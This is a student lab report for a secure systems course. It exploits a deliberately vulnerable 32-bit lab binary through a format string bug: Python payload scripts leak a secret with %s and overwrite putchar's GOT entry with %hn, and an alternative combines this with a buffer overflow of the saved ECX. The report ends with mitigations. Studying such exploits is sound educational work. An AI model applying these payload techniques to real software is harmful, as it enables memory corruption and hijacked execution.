Assignment 3: Format String Vulnerability Exploitation

Secure Systems Engineering (CS6570)

Indian Institute of Technology Madras

Shubham Balaso Jadhav
CS24S009

March 2, 2026

Contents

1 Introduction **3**
1.1 Assignment Objectives . . . 3
1.2 Approach Overview . . . 3
1.3 Security Protections . . . 4

2 Binary Analysis **4**
2.1 File Information . . . 4
2.2 Reverse Engineering with Ghidra . . . 4
2.3 Identifying Key Functions and Data . . . 5
2.4 Decompiled Program Flow (Ghidra Decompiler Output) . . . 5

3 Vulnerability Analysis **6**
3.1 Vulnerability 1: Format String . . . 6
3.2 Vulnerability 2: Buffer Overflow via strcpy . . . 7
3.3 Stack Layout at printf() Call . . . 7
3.4 Offset Verification . . . 8

4 Payload 1: Reading the Secret Variable **8**
4.1 Strategy . . . 8
4.2 Payload Structure Breakdown . . . 8
4.3 Payload Script (payloadCreate1.py) . . . 9
4.4 Execution Flow . . . 9

5 Payload 2: Invoking the flag() Function via GOT Overwrite **9**
5.1 Strategy: GOT Overwrite . . . 9
5.2 The %n and %hn Format Specifiers . . . 10
5.3 Write Decomposition . . . 10
5.4 Padding Calculation . . . 10
5.5 Payload Structure Breakdown . . . 11
5.6 Payload Script (payloadCreate2.py) . . . 11
5.7 Execution Flow . . . 12
5.8 GOT State Before and After . . . 12
5.9 Why putchar Was Chosen as the Target . . . 12

6 Clean Exit Analysis **13**
6.1 Task 1 — Clean Exit . . . 13
6.2 Task 2 — Clean Exit . . . 13

7 Alternative Approach: Combined Format String + Buffer Overflow **13**
7.1 Understanding main()'s Non-Standard Epilogue . . . 14
7.2 Stack Layout with Overflow Targets . . . 14
7.3 Strategy . . . 15
7.4 Writable Target Memory . . . 15
7.5 Payload Layout . . . 15
7.6 Execution Flow . . . 16
7.7 Comparison of the Two Approaches . . . 16

8 Challenges Faced and Resolutions **17**

9 Conclusion **18**

10 Resources Used **18**

1. Introduction

This report documents the analysis and exploitation of a 32-bit dynamically linked binary called `vuln`, provided as part of the Secure Systems Engineering assignment. The objective was to exploit a **format string vulnerability** present in the program to achieve arbitrary memory reads and writes.

The binary scans the current directory for `.txt` files, copies the filename into a stack buffer, and then passes that buffer *directly* as the format string argument to `printf()`. By crafting a malicious `.txt` filename, an attacker can control the format string and leverage specifiers like `%s`, `%x`, `%n`, and `%hn` to read from or write to arbitrary memory locations.

The binary was reverse-engineered using **Ghidra**, the open-source software reverse engineering framework developed by the NSA, which provided decompiled C output and symbol resolution critical for understanding the program logic and identifying exploitable code paths.

1.1 Assignment Objectives

1. **Payload 1:** Read the value stored in the global variable `secret` by exploiting the format string vulnerability using the `%s` format specifier.

2. **Payload 2:** Invoke the hidden function `flag()` by overwriting the GOT (Global Offset Table) entry of `putchar` using the `%hn` format specifier.

A clean exit after the execution of each payload is also required.

1.2 Approach Overview

Task 2 can be completed using two different approaches:

	Primary Approach	**Alternative Approach**
Technique	Pure Format String	Combined Format String + Buffer Overflow
Mechanism	`%hn` GOT overwrite of `putchar`	`%hn` memory write + overflow to hijack `main()`'s return
Target	`putchar@GOT` entry	Saved ECX register on stack
Payload size	Compact (∼45 bytes)	Large (∼224 bytes)
Clean exit	Natural (flag returns to main)	Requires additional writes

Table 1: Two approaches for Task 2

The **primary approach** (pure format string via GOT overwrite) was chosen for the submitted payload because it is more compact, achieves clean exit naturally, and demonstrates the full power of format string writes without relying on the buffer overflow. The alternative approach is documented in Section 7.

1.3 Security Protections

Protection	Status	Implication
Stack Canary	Disabled	No secret value to detect stack overflow
PIE	Disabled	Binary loads at fixed address every run (EXEC type)
ASLR	Disabled (Docker)	Memory layout is deterministic
NX (DEP)	Disabled	Stack is executable (RWE permissions)
RELRO	Partial	**GOT is writable at runtime** — enables GOT overwrite

Table 2: Security protections of the `vuln` binary

2. Binary Analysis

2.1 File Information

The target binary was first examined using the `file` command:

```
$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
      dynamically linked, interpreter /lib/ld-linux.so.2,
      for GNU/Linux 3.2.0, not stripped
```

Key observations:

- **32-bit x86** architecture (smaller 4-byte addresses, easier to embed in filenames)
- **Dynamically linked** (uses GOT/PLT for library calls — exploitable via GOT overwrite)
- **Not stripped** (symbol names available, aiding reverse engineering in Ghidra)

2.2 Reverse Engineering with Ghidra

The binary was imported into Ghidra (version 11.x) for comprehensive analysis:

1. **Project Creation:** Created a new Ghidra project and imported `vuln` as an ELF 32-bit x86 binary.
2. **Auto-Analysis:** Ran Ghidra's auto-analysis with default analyzers enabled, which identified all functions, cross-references, and data types automatically.
3. **Symbol Table:** Examined the *Symbol Table* window to locate key symbols including `main`, `flag`, `read_val`, and `secret`.
4. **Decompiler:** Used Ghidra's built-in decompiler to obtain high-level C-like pseudocode for each function, making the program logic easy to understand.
5. **Listing View:** Cross-referenced the decompiled output with the disassembly listing to verify exact instruction addresses and stack offsets.

6. **Data Section:** Navigated to the `.data` section at `0x0804c060` to read the contents of the `secret` variable directly in Ghidra's hex viewer.

7. **External References:** Used *Window* → *External Programs* and the *Symbol References* view to identify all GOT entries and their addresses.

2.3 Identifying Key Functions and Data

Using Ghidra's *Symbol Table* and *Listing* views, the following important symbols were identified:

Symbol	Address	Purpose
`secret`	`0x0804c060`	Global variable in `.data` section containing the secret string
`flag()`	`0x08049226`	Hidden function that prints the success message
`putchar@GOT`	`0x0804c030`	GOT entry for `putchar` (target for overwrite)
`main()`	`0x080492c6`	Entry point of the main function
`read_val()`	`0x08049251`	Function that opens and reads the `.txt` file

Table 3: Key function and data addresses in the binary (from Ghidra Symbol Table)

The `secret` variable was confirmed by navigating to address `0x0804c060` in Ghidra's *Bytes* window:

```
Ghidra Bytes view at 0804c060:
0804c060  66 6c 61 67 7b 54 68 65 5f 73 65 63 72 65 74 5f  flag{The_secret_
0804c070  6d 65 73 73 61 67 65 7d 00 00 00 00 00 00 00 00  message}........
```

2.4 Decompiled Program Flow (Ghidra Decompiler Output)

Ghidra's decompiler produced the following high-level pseudocode for the `main()` function, which clearly reveals both vulnerabilities:

```
int main(void) {
    char buffer[196];                // local_e8 (at EBP - 0xe8)
    DIR *dir;
    struct dirent *entry;

    dir = opendir(".");
    if (dir == NULL) {
        perror("opendir failed");
        return 1;
    }

    while ((entry = readdir(dir)) != NULL) {
```

```
        if (strstr(entry->d_name, ".txt") != NULL) {
            strcpy(buffer, entry->d_name);  // VULN 1: buffer
    overflow
            break;
        }
    }
    closedir(dir);

    if (buffer[0] != '\0') {
        printf(buffer);              // VULN 2: format string
    vulnerability!
        putchar('\n');
        read_val(buffer);            // opens file and prints
    contents
    } else {
        puts("No .txt file found.");
    }
    return 0;
}
```

Listing 1: Ghidra decompiler output for main() (cleaned up)

Ghidra also decompiled the two other key functions:

```
void flag(void) {
    puts("[+] Exploit Successful! Welcome, elite hacker.");
    return;
}
```

Listing 2: Ghidra decompiler output for flag()

```
void read_val(char *filename) {
    FILE *fp;
    char buf[10];                    // local_16

    fp = fopen(filename, "r");
    if (fp != NULL) {
        fgets(buf, /* size */, fp);
        printf("Content in the file: %s", buf);
        fclose(fp);
    }
    return;
}
```

Listing 3: Ghidra decompiler output for read_val()

3. Vulnerability Analysis

3.1 Vulnerability 1: Format String

Ghidra's decompiler clearly showed the unsafe `printf(buffer)` call. Cross-referencing with Ghidra's *Listing* view confirmed the exact disassembly:

```
080493bd  83 ec 0c        SUB    ESP, 0xc                ; alignment
   padding
080493c0  8d 85 18        LEA    EAX, [EBP + -0xe8]      ; load buffer
   address
          ff ff ff
080493c6  50              PUSH   EAX                      ; push as
   ONLY argument
080493c7  e8 94 fc        CALL   printf                   ; printf(
   buffer) -- NO %s!
          ff ff
```

Listing 4: The vulnerable printf call — Ghidra Listing view

The buffer (containing the `.txt` filename) is passed *directly* as the format string to `printf()`, without any format specifier. The correct, safe usage would be `printf("%s", buffer)`. Since the attacker controls the filename, they control the format string entirely.

3.2 Vulnerability 2: Buffer Overflow via strcpy

Ghidra's Listing view also confirmed the unsafe `strcpy()` call:

```
08049362  50              PUSH   EAX                      ; push d_name
    (filename)
08049363  8d 85 18        LEA    EAX, [EBP + -0xe8]      ; buffer at
   EBP - 0xe8
          ff ff ff
08049369  50              PUSH   EAX                      ; push buffer
    destination
0804936a  e8 31 fd        CALL   strcpy                   ; no bounds
   checking!
          ff ff
```

Listing 5: The strcpy call — Ghidra Listing view

The buffer is located at `EBP - 0xe8` (232 bytes from the frame pointer). A filename longer than this could overflow the buffer. However, for this assignment, the format string vulnerability alone is sufficient for both tasks.

3.3 Stack Layout at printf() Call

Understanding the stack layout at the moment `printf(buffer)` is called is critical for determining the correct format string offset.

```
080493bd  83 ec 0c        SUB    ESP, 0xc                ; 12 bytes
   alignment
080493c0  8d 85 18        LEA    EAX, [EBP + -0xe8]      ; EAX = &
   buffer
          ff ff ff
080493c6  50              PUSH   EAX                      ; push format
    string ptr
080493c7  e8 94 fc        CALL   printf
          ff ff
```

Listing 6: Stack setup before printf — Ghidra Listing

Inside `printf`, the stack is laid out as follows:

Stack Position	Offset from ESP	printf Argument
Return address	`ESP + 0x00`	—
Format string pointer	`ESP + 0x04`	(format string itself)
Alignment padding	`ESP + 0x08`	`$1`
Alignment padding	`ESP + 0x0C`	`$2`
Alignment padding	`ESP + 0x10`	`$3`
Start of buffer content	`ESP + 0x14`	`$4`
Buffer bytes 4–7	`ESP + 0x18`	`$5`
Buffer bytes 8–11	`ESP + 0x1C`	`$6`
⋮		

Table 4: Stack layout during printf() — buffer starts at argument position $4

The key insight: **the buffer content starts at printf's 4th argument position (`$4`)**. Since the buffer IS the format string, any data we embed in the first 4 bytes of the filename will be at stack position `$4`, the next 4 bytes at position `$5`, and so on.

3.4 Offset Verification

The stack offset was verified by creating a `.txt` file named `AAAA%x.%x.%x.%x.%x.%x.%x.%x.txt`. When the binary runs, `printf` processes this as a format string. The value `41414141` (hex encoding of "AAAA") appears at the 4th position in the output, confirming that **offset = 4**.

4. Payload 1: Reading the Secret Variable

4.1 Strategy

The `%s` format specifier in `printf` reads a 4-byte value from the stack, interprets it as a *pointer*, and prints the null-terminated string at that address. Since we control the buffer content (it IS the filename), and the buffer appears at stack position `$4`, we can:

1. Embed the address of `secret` (`0x0804c060`) in the first 4 bytes of the filename.
2. Use `%4$s` to tell `printf`: "Take the value at stack position 4, treat it as a pointer, and print the string it points to."

Position 4 on the stack corresponds to the start of our buffer, which contains `0x0804c060`, so `printf` dereferences this address and prints the secret string.

4.2 Payload Structure Breakdown

Bytes	Size	Content	Purpose
0–3	4	`\x60\xc0\x04\x08`	Address of `secret` (little-endian) at stack pos $4
4–7	4	`%4$s`	Dereference position $4 as string pointer
8–11	4	`.txt`	Suffix for `strstr()` filename match

Table 5: Payload 1 structure breakdown — Total: 12 bytes

4.3 Payload Script (payloadCreate1.py)

```
#!/usr/bin/env python3
import sys
import struct

SECRET_ADDR = 0x0804c060    # address of 'secret' variable in .data
OFFSET = 4                  # buffer starts at printf's 4th stack
   position

payload  = struct.pack("<I", SECRET_ADDR)    # \x60\xc0\x04\x08
payload += "%{}$s".format(OFFSET).encode()   # %4$s
payload += b".txt"                           # required for strstr
   match

sys.stdout.buffer.write(payload)
```

4.4 Execution Flow

1. `readdir()` finds our crafted `.txt` file in the directory.
2. `strcpy()` copies the filename into the stack buffer.
3. `printf(buffer)` processes the buffer as a format string:
   - Prints bytes `\x60\xc0\x04\x08` as raw characters (the `\x60` renders as a backtick, others are non-printable).
   - Encounters `%4$s`: reads 4 bytes at stack position 4, gets `0x0804c060`, dereferences it, and prints `"flag{The_secret_message}"`.
   - Prints `".txt"` literally.
4. `putchar('\n')` — prints a newline (unmodified).
5. `read_val(buffer)` — opens the `.txt` file and prints its content ("Welcome").
6. `main()` returns 0 — **clean exit**.

5. Payload 2: Invoking the flag() Function via GOT Overwrite

5.1 Strategy: GOT Overwrite

After `printf(buffer)`, the program immediately calls `putchar('\n')`. Ghidra's decompiler showed this clearly, and the Listing view confirmed the exact call site:

```
080493cf   83 ec 0c         SUB     ESP, 0xc
080493d2   6a 0a            PUSH    0xa                     ; '\n'
080493d4   e8 f7 fc         CALL    putchar                 ; calls via
   PLT/GOT
           ff ff
```

Listing 7: putchar call immediately after printf — Ghidra Listing view

Since the binary uses dynamic linking, `putchar` is called through the PLT/GOT mechanism. Ghidra's *Symbol References* window showed that `putchar@GOT` resides at `0x0804c030`. If we overwrite this GOT entry with the address of `flag()` (`0x08049226`), then when `putchar` is called, it will jump to `flag()` instead.

The GOT is writable because the binary uses only **Partial RELRO**.

5.2 The %n and %hn Format Specifiers

The `%n` specifier is the key to format string *write* attacks:

Specifier	Behavior
`%n`	Writes the number of characters printed so far as a 4-byte integer to the address pointed to by the corresponding argument.
`%hn`	Same, but writes only the **lower 16 bits** (2-byte half-word write).

Table 6: Format specifiers used for arbitrary memory writes

Using `%hn` (half-word writes) is preferred because writing a full 4-byte value with `%n` would require printing `0x08049226` = 134,517,286 characters, which is impractical. Two `%hn` writes of 2 bytes each can construct any 4-byte value efficiently.

5.3 Write Decomposition

The target value `0x08049226` is split into two 16-bit halves:

Write	Value	Decimal	Target Address
High half	`0x0804`	2052	`0x0804c032` (putchar@GOT + 2)
Low half	`0x9226`	37414	`0x0804c030` (putchar@GOT + 0)

Table 7: GOT overwrite: two half-word writes to construct flag() address

The writes must be performed in order of **ascending value** (smaller value first) because the character count in `printf` can only increase. Thus we write `0x0804` first, then `0x9226`.

5.4 Padding Calculation

The `%hn` specifier writes the lower 16 bits of the total characters printed so far. We control this count using width specifiers (e.g., `%2044x` prints a value padded to 2044 characters).

Step	Total Characters	Calculation
After 8 address bytes	8	Two 4-byte addresses printed as raw bytes
After first padding	2052	$8 + 2044 = 2052$
First `%hn` write	—	Writes $2052 =$ `0x0804` to GOT+2
After second padding	37414	$2052 + 35362 = 37414$
Second `%hn` write	—	Writes $37414 =$ `0x9226` to GOT+0

Table 8: Padding calculation for the two %hn writes

5.5 Payload Structure Breakdown

Bytes	Size	Content	Purpose
0–3	4	`\x32\xc0\x04\x08`	Address of GOT+2 (`0x0804c032`) at stack pos $4
4–7	4	`\x30\xc0\x04\x08`	Address of GOT+0 (`0x0804c030`) at stack pos $5
8–18	11	`%1$2044x`	Print 2044 padding chars (total = 2052)
19–23	5	`%4$hn`	Write `0x0804` to address at $4
24–35	12	`%1$35362x`	Print 35362 padding chars (total = 37414)
36–40	5	`%5$hn`	Write `0x9226` to address at $5
41–44	4	`.txt`	Suffix for filename match

Table 9: Payload 2 structure breakdown

Note: Exact byte offsets may vary slightly depending on the number of digits in padding values.

5.6 Payload Script (payloadCreate2.py)

```
#!/usr/bin/env python3
import sys
import struct

FLAG_ADDR   = 0x08049226   # address of flag() function
PUTCHAR_GOT = 0x0804c030   # GOT entry for putchar
OFFSET      = 4            # buffer at printf's 4th stack position

# Split flag address into two 16-bit halves
high_half = (FLAG_ADDR >> 16) & 0xFFFF   # 0x0804 = 2052
low_half  = FLAG_ADDR & 0xFFFF           # 0x9226 = 37414

# Addresses embedded at start of buffer (positions $4 and $5)
addr_high = struct.pack("<I", PUTCHAR_GOT + 2)  # 0x0804c032
addr_low  = struct.pack("<I", PUTCHAR_GOT)       # 0x0804c030

# Padding calculations
bytes_written = 8                       # 8 bytes of addresses
pad1 = high_half - bytes_written        # 2052 - 8 = 2044
pad2 = low_half - high_half             # 37414 - 2052 = 35362
```

```
payload  = addr_high + addr_low          # 8 bytes: two GOT
    addresses
payload += "%1${}x".format(pad1).encode()    # pad to 2052 chars
payload += "%{}$hn".format(OFFSET).encode() # write 0x0804 to GOT
    +2
payload += "%1${}x".format(pad2).encode()    # pad to 37414 chars
payload += "%{}$hn".format(OFFSET+1).encode() # write 0x9226 to
    GOT
payload += b".txt"                           # suffix for strstr()
    match

sys.stdout.buffer.write(payload)
```

5.7 Execution Flow

1. `readdir()` finds the crafted `.txt` file.
2. `strcpy()` copies the filename into the stack buffer.
3. `printf(buffer)` processes the format string:
   - Prints 8 bytes of raw address data.
   - `%1$2044x`: prints 2044 padding characters (total now = 2052).
   - `%4$hn`: writes 2052 mod 65536 = 2052 (`0x0804`) to `0x0804c032`.
   - `%1$35362x`: prints 35362 padding characters (total now = 37414).
   - `%5$hn`: writes 37414 mod 65536 = 37414 (`0x9226`) to `0x0804c030`.
4. After printf returns, `putchar@GOT` = `0x08049226` = `flag()`.
5. Program calls `putchar('\n')` → PLT reads GOT → jumps to `flag()`.
6. `flag()` prints: *"[+] Exploit Successful! Welcome, elite hacker."*
7. `flag()` returns to `main()`, which continues to `read_val()` and exits — **clean exit**.

5.8 GOT State Before and After

State	putchar@GOT (0x0804c030)
Before exploit	Points to `putchar` in libc
After `%4$hn`	Bytes at GOT+2 overwritten with `0x0804`
After `%5$hn`	Bytes at GOT+0 overwritten with `0x9226`
Final value	`0x08049226` = `flag()`

Table 10: putchar@GOT entry transformation during the exploit

5.9 Why putchar Was Chosen as the Target

Several GOT entries could theoretically be overwritten. `putchar` was chosen because:

1. It is called **immediately after** the vulnerable `printf()`, giving us control right after the overwrite.
2. It is called **before** `read_val()`, so execution redirects before any file operations that might fail.
3. The `flag()` function uses `puts()` internally (not `putchar`), so no recursive corruption occurs.
4. After `flag()` returns, the program continues normally and exits cleanly.

6. Clean Exit Analysis

Both payloads achieve a clean exit (return code 0):

6.1 Task 1 — Clean Exit

After `printf()` leaks the secret, the program continues its normal flow:

1. `putchar('\n')` — prints a newline (unmodified).
2. `read_val(buffer)` — opens the crafted `.txt` file and prints its content ("Welcome").
3. `main()` returns 0.

No corruption occurs; the program exits normally.

6.2 Task 2 — Clean Exit

After `printf()` overwrites the GOT:

1. `putchar('\n')` → jumps to `flag()` via corrupted GOT.
2. `flag()` calls `puts()` to print the success message.
3. `flag()` executes `leave; ret`, returning to `main()`.
4. `main()` continues to `read_val()`, then returns 0.

The critical point is that `flag()` uses `puts()`, not `putchar()`, so the corrupted GOT entry does not cause a crash during `flag()`'s execution.

7. Alternative Approach: Combined Format String + Buffer Overflow

As noted in the introduction, Task 2 can also be solved by **combining** a format string write with a buffer overflow. This section documents that approach.

7.1 Understanding main()'s Non-Standard Epilogue

Unlike a typical function, `main()` uses a **non-standard prologue/epilogue** due to GCC's stack alignment code. This is critical for understanding how the buffer overflow redirects execution.

```
080492c6  8d 4c 24 04    LEA     ECX, [ESP + 0x4]      ; ECX =
   original_ESP + 4
080492ca  83 e4 f0       AND     ESP, 0xfffffff0        ; align stack to
   16 bytes
080492cd  ff 71 fc       PUSH    [ECX - 0x4]            ; push original
   return addr
080492d0  55             PUSH    EBP
080492d1  89 e5          MOV     EBP, ESP                ; new frame
   pointer
080492d3  57             PUSH    EDI
080492d4  53             PUSH    EBX
080492d5  51             PUSH    ECX                     ; *** save ECX on
    stack ***
080492d6  81 ec dc 00    SUB     ESP, 0xdc               ; allocate locals
```

Listing 8: main() prologue — Ghidra Listing view

```
080493f3  8d 65 f4       LEA     ESP, [EBP - 0xc]       ; ESP -> saved ECX
    location
080493f6  59             POP     ECX                     ; *** restore ECX
    ***
080493f7  5b             POP     EBX
080493f8  5f             POP     EDI
080493f9  5d             POP     EBP
080493fa  8d 61 fc       LEA     ESP, [ECX - 0x4]       ; ESP = ECX - 4
080493fd  c3             RET                             ; EIP = *[ECX -
   4]
```

Listing 9: main() epilogue — Ghidra Listing view

The key observation: `main()`'s `ret` instruction does **not** pop the return address from the standard `EBP + 4` location. Instead, it uses the **saved ECX register** to reconstruct ESP, then pops EIP from `[ECX - 4]`. If we overwrite the saved ECX on the stack, we control where `ret` reads the return address from.

7.2 Stack Layout with Overflow Targets

Stack Position	Offset from EBP	Offset from Buffer	Content
Buffer start	`EBP - 0xe8`	0	Format string payload
⋮ (196 bytes of buffer + local variables)			
Saved ECX	`EBP - 0x0c`	**220**	**OVERFLOW TARGET**
Saved EBX	`EBP - 0x08`	224	Corrupted (acceptable)
Saved EDI	`EBP - 0x04`	228	Corrupted (acceptable)
Saved EBP	`EBP + 0x00`	232	Not reached

Table 11: Stack layout — saved ECX is 220 bytes from the buffer start

The buffer overflow distance to the saved ECX is: `0xe8 - 0x0c = 0xdc = 220 bytes`.

7.3 Strategy

The combined approach works in two phases that execute at different times:

1. **Phase 1 (during `strcpy`):** The long filename overflows the buffer, overwriting the saved ECX at offset 220 with a crafted value pointing to a writable memory location.
2. **Phase 2 (during `printf`):** The format string portion of the filename uses `%hn` writes to write `flag()`'s address (and optionally `exit()`'s address) to that writable memory location.
3. **Trigger (during `main()` return):** When `main()` reaches its epilogue, it restores the corrupted ECX, computes `ESP = ECX - 4`, and `ret` pops the `flag()` address we wrote, redirecting execution.

7.4 Writable Target Memory

We need a writable memory region at a known fixed address to store the `flag()` and `exit()` addresses. The `.data` section provides suitable space:

Address	Value Written	Purpose
`0x0804c090`	`0x08049226`	Address of `flag()` — popped by `ret`
`0x0804c094`	`0x0804c660`	Address of `exit()` — for clean exit after `flag()`

Table 12: Values written to .data section via format string %hn writes

Address `0x0804c090` lies within the unused portion of the `secret` array (which occupies `0x0804c060`–`0x0804c0c3` but only uses 25 bytes of its 100-byte allocation). The saved ECX is overwritten with `0x0804c094`, so that: `ESP = 0x0804c094 - 4 = 0x0804c090`, and `ret` pops `[0x0804c090]` = `flag()`.

7.5 Payload Layout

The filename is structured as follows:

Offset	Size	Content	Purpose
0–3	4	`\x92\xc0\x04\x08`	Addr of `0x0804c092` (flag high-half target)
4–7	4	`\x90\xc0\x04\x08`	Addr of `0x0804c090` (flag low-half target)
8–11	4	`\x96\xc0\x04\x08`	Addr of `0x0804c096` (exit high-half target)
12–15	4	`\x94\xc0\x04\x08`	Addr of `0x0804c094` (exit low-half target)
16–N	varies	`%hn` format specifiers	Four `%hn` writes
N–N+3	4	`.txt`	Suffix for `strstr()` match
N+4–219	varies	`A A A ... A`	Padding to reach offset 220
220–223	4	`\x94\xc0\x04\x08`	**Overwrite saved ECX** = `0x0804c094`

Table 13: Combined approach payload layout (∼224 bytes)

7.6 Execution Flow

1. `strcpy()` copies the 224-byte filename into the buffer at `EBP - 0xe8`. The overflow writes `0x0804c094` over the saved ECX at `EBP - 0x0c`. Saved EBX at `EBP - 0x08` gets a null-terminated partial overwrite, but EBX is **not used** between `printf()` and the epilogue (verified via Ghidra cross-references).

2. `printf(buffer)` processes the format string and performs four `%hn` writes:

   - Writes `0x0804` to `0x0804c092` (flag high half)
   - Writes `0x9226` to `0x0804c090` (flag low half)
   - Writes `0x0804` to `0x0804c096` (exit high half — same value, free)
   - Writes `0xc660` to `0x0804c094` (exit low half)

   After this: `[0x0804c090]` = `0x08049226` = `flag()`, `[0x0804c094]` = `0x0804c660` = `exit()`.

3. `putchar('\n')` and `read_val()` execute normally (unmodified GOT).

4. `main()` reaches its epilogue:

   - `lea -0xc(%ebp), %esp` → ESP points to saved ECX location.
   - `pop %ecx` → ECX = `0x0804c094` (our overwritten value).
   - `lea -0x4(%ecx), %esp` → ESP = `0x0804c090`.
   - `ret` → pops `[0x0804c090]` = `0x08049226` into EIP → jumps to `flag()`.

5. `flag()` prints the success message. When `flag()` returns, it pops `[0x0804c094]` = `exit()` → **clean exit**.

7.7 Comparison of the Two Approaches

Aspect	**Primary: Pure Format String**	**Alternative: Combined**
Vulnerabilities used	Format string only	Format string + buffer overflow
Write target	`putchar@GOT` (2 writes)	Writable .data region (4 writes)
Hijack point	`putchar()` call after `printf`	`main()`'s `ret` instruction
Payload size	∼45 bytes (compact)	∼224 bytes (must reach offset 220)
Clean exit	Natural (`flag()` returns to `main`)	Requires extra `exit()` address write
Complexity	2 `%hn` writes	4 `%hn` writes + precise overflow
`putchar` behavior	`putchar` redirected to `flag()`	`putchar` works normally

Table 14: Primary (pure format string) vs alternative (combined) approach

Reason the primary approach was chosen: The pure format string GOT overwrite is more compact, requires fewer writes, achieves clean exit naturally, and elegantly demonstrates the full power of format string attacks. The combined approach is documented here to illustrate how both vulnerability classes present in the binary can be exploited together.

8. Challenges Faced and Resolutions

1. **Challenge: Multiple .txt Files in Directory**

   The program uses `readdir()` which iterates through directory entries in an unspecified order. If `flag.txt` (the provided legitimate file) was found before the crafted payload file, the exploit filename was never processed.

   Resolution: Created a separate working directory containing only the `vuln` binary and the crafted `.txt` file (by renaming `flag.txt` to the payload filename), ensuring it is the only `.txt` file found by `readdir()`.

2. **Challenge: Non-ASCII Characters in Filename**

   The embedded address bytes (`\x60\xc0\x04\x08`) are non-ASCII and required careful handling when creating files from Python.

   Resolution: Used `os.path.join()` with bytes paths and `open()` in binary mode (`"wb"`) to handle non-ASCII filenames correctly on the filesystem.

3. **Challenge: Determining the Correct Stack Offset**

   The format string argument position where the buffer content appears depends on the compiler's stack alignment, which cannot be determined statically.

   Resolution: Created a test filename `AAAA%x.%x.%x...` and observed where `41414141` appeared in the output, confirming offset = 4.

4. **Challenge: glibc Positional Parameter Restrictions**

   glibc's `printf` implementation rejects format strings that mix positional (`%4$hn`) and non-positional (`%2044x`) specifiers.

   Resolution: Used positional specifiers throughout the format string (e.g., `%1$2044x` instead of `%2044x`) to maintain consistency.

5. **Challenge: Non-Standard main() Epilogue (Combined Approach)**

   The `main()` function uses a non-standard epilogue with `lea -0x4(%ecx), %esp; ret` instead of the typical `leave; ret`. This means a simple buffer overflow cannot directly overwrite the return address at `EBP + 4`; instead, the saved ECX register must be targeted.

   Resolution: Analyzed `main()`'s prologue/epilogue in Ghidra to determine that the saved ECX at `EBP - 0x0c` (offset 220 from the buffer) controls the return address indirection. The buffer overflow overwrites this saved ECX to redirect `ret` to a memory location where `flag()`'s address was written by the format string.

9. Conclusion

This assignment successfully demonstrated the exploitation of a format string vulnerability in a 32-bit dynamically linked binary using two techniques:

- **Payload 1** used the **%s format specifier** with a positional argument to dereference an embedded address and read the contents of the `secret` global variable, leaking the string `"flag{The_secret_message}"`.
- **Payload 2** required a more sophisticated **GOT overwrite** technique using two `%hn` (half-word) writes to replace the `putchar@GOT` entry with the address of `flag()`, redirecting execution to the hidden function when `putchar('\n')` was called immediately after the vulnerable `printf()`.
- Both payloads achieved **clean exits** with return code 0, demonstrating controlled exploitation without program crashes.
- The format string vulnerability is particularly dangerous because a single `printf(user_input)` call enables both *reading* and *writing* arbitrary memory — capabilities that a simple buffer overflow does not provide.

Key mitigations against this class of vulnerability include: always using explicit format specifiers (e.g., `printf("%s", buffer)` instead of `printf(buffer)`), enabling compiler warnings (`-Wformat-security`), and using **Full RELRO** to make the GOT read-only after program startup.

10. Resources Used

- Lecture slides and tutorial examples from CS6570
- `Commands.md` file provided with the assignment
- Ghidra — Software Reverse Engineering Framework (NSA): https://ghidra-sre.org/
- Ghidra Documentation and Cheat Sheet: https://ghidra.re/CheatSheet.html
- GDB documentation: https://www.gnu.org/software/gdb/documentation/
- GEF documentation: https://hugsy.github.io/gef/
- OWASP Format String Attack: https://owasp.org/www-community/attacks/Format_string_attack
- "Exploiting Format String Vulnerabilities" — scut / Team Teso, 2001
- pwntools - CTF framework and exploit development library: https://github.com/Gallopsled/pwntools
- x86 Assembly Reference: https://www.felixcloutier.com/x86/